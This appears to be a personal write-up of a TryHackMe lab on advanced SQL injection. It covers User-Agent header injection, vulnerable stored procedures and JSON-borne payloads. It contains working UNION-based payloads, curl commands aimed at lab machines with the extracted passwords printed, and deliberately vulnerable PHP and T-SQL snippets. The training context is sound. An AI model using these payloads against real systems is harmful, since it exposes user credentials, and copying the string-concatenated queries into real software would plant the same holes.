Advanced SQL injection involves a range of sophisticated methods that go beyond basic attacks. Here are a few important advanced techniques that pentesters should be aware of:

### HTTP Header Injection

HTTP headers can carry user input, which might be used in SQL queries on the server side. ![user-agent injection](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716922785793)If these inputs are not sanitised, it can lead to SQL injection. The technique involves manipulating HTTP headers (like User-Agent, Referer, or X-Forwarded-For) to inject SQL commands. The server might log these headers or use them in SQL queries. For example, a malicious User-Agent header would look like `User-Agent: ' OR 1=1; --`. If the server includes the User-Agent header in an SQL query without sanitising it, it can result in SQL injection.

In this example, a web application logs the User-Agent header from HTTP requests into a table named logs in the database. The application provides an endpoint at `http://MACHINE_IP/httpagent/` that displays all the logged entries from the logs table. When users visit a webpage, their browser sends a User-Agent header, which identifies the browser and operating system. This header is typically used for logging purposes or to tailor content for specific browsers. In our application, this User-Agent header is inserted into the logs table and can then be viewed through the provided endpoint.

Given the endpoint, an attacker might attempt to inject SQL code into the User-Agent header to exploit SQL injection vulnerabilities. For instance, by setting the User-Agent header to a malicious value such as `User-Agent: ' UNION SELECT username, password FROM user; --`, an attacker attempts to inject SQL code that combines the results from the logs table with sensitive data from the user table.

Here is the server-side code that inserts the logs.

```php
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$insert_sql = "INSERT INTO logs (user_Agent) VALUES ('$userAgent')";
if ($conn->query($insert_sql) === TRUE) {
    echo "<p class='text-green-500'>New logs inserted successfully</p>";
} else {
    echo "<p class='text-red-500'>Error: " . $conn->error . " (Error Code: " . $conn->errno . ")</p>";
}

$sql = "SELECT * FROM logs WHERE user_Agent = '$userAgent'";
..
... 
```

The User-Agent value is inserted into the logs table using an INSERT SQL statement. If the insertion is successful, a success message is displayed. An error message with details is shown if there is an error during insertion.

![dashboard for viewing logs](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716115666836)\


### Preparing the Payload

We will prepare and inject an SQL payload into the User-Agent header to demonstrate how SQL injection can be exploited through HTTP headers. Our target payload will be ' UNION SELECT username, password FROM user; #. This payload is designed to:

* Close the Existing String Literal: The initial single quote (`'`) is used to close the existing string literal in the SQL query.
* Inject a UNION SELECT Statement: The `UNION SELECT username, password FROM user;` part of the payload is used to retrieve the username and password columns from the user table.
* Comment Out the Rest of the Query: The `#` character is used to comment out the remainder of the SQL query, ensuring that any subsequent SQL code is ignored.

We need to send this payload as part of the User-Agent header in our HTTP request to inject this payload, which could be done using tools like Burp Suite or cURL. We will use the curl command-line tool to send an HTTP request with a custom User-Agent header. Open a Terminal and access your command line interface. Use the following command to send the request with the custom `User-Agent` header:

Example Terminal

```shell-session
user@tryhackme$ curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://MACHINE_IP/httpagent/
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SQL Injection </title>
 rel="stylesheet">
</head>
<body class="bg-gray-100">
    <div class="container mx-auto p-8">
        <h1 class="text-4xl font-bold mb-8 text-center">HTTP Logs</h1>
        <div class="bg-white p-6 rounded-lg shadow-lg">

<p class='text-gray-600 text-sm mb-4'>Generated SQL Query: <span class='text-red-500'>SELECT * FROM logs WHERE user_Agent = '' UNION SELECT username, password FROM user; #'</span></p><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>bob</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>bob@123</span></p></div><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>attacker</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>tesla</span></p></div>
        </div>
    </div>
</body>
</html>
```

The server's response will be displayed in the terminal. If the SQL injection is successful, you will see the extracted data (usernames and passwords) in the response.

### Exploiting Stored Procedures

Stored procedures are routines stored in the database that can perform various operations, such as inserting, updating, or querying data. While stored procedures can help improve performance and ensure consistency, they can also be vulnerable to SQL injection if not properly handled.

\


<figure><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716922785792" alt=""><figcaption></figcaption></figure>

Stored procedures are precompiled SQL statements that can be executed as a single unit. They are stored in the database and can be called by applications to perform specific tasks. Stored procedures can accept parameters, which can make them flexible and powerful. However, if these parameters are not properly sanitised, they can introduce SQL injection vulnerabilities.

Consider a stored procedure designed to retrieve user data based on a username:

```php
CREATE PROCEDURE sp_getUserData
    @username NVARCHAR(50)
AS
BEGIN
    DECLARE @sql NVARCHAR(4000)
    SET @sql = 'SELECT * FROM users WHERE username = ''' + @username + ''''
    EXEC(@sql)
END
```

In this example, the stored procedure concatenates the @username parameter into a dynamic SQL query. This approach is vulnerable to SQL injection because the input is not sanitised.

### XML and JSON Injection 

Applications that parse XML or JSON data and use the parsed data in SQL queries can be vulnerable to injection if they do not properly sanitise the inputs. XML and JSON injection involves injecting malicious data into XML or JSON structures that are then used in SQL queries. This can occur if the application directly uses parsed values in SQL statements.

```php
{
  "username": "admin' OR '1'='1--",
  "password": "password"
}
```

If the application uses these values directly in a SQL query like `SELECT * FROM users WHERE username = 'admin' OR '1'='1'-- AND password = 'password'`, it could result in an injection.



### HTTP Header Injection Practice

The union needs to be the same amount of columns as the original statement which is 2 so I just did flag twice.

**Kali**

```
curl -H "User-Agent: ' UNION SELECT flag, flag FROM books where book_id=1; # " http://10.10.41.101/httpagent/
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FzitBbu1eh70SG8lywdZZ%2Fimage.png?alt=media&#x26;token=040a9167-ffb5-4ddd-bba6-8c844a646536" alt=""><figcaption></figcaption></figure>







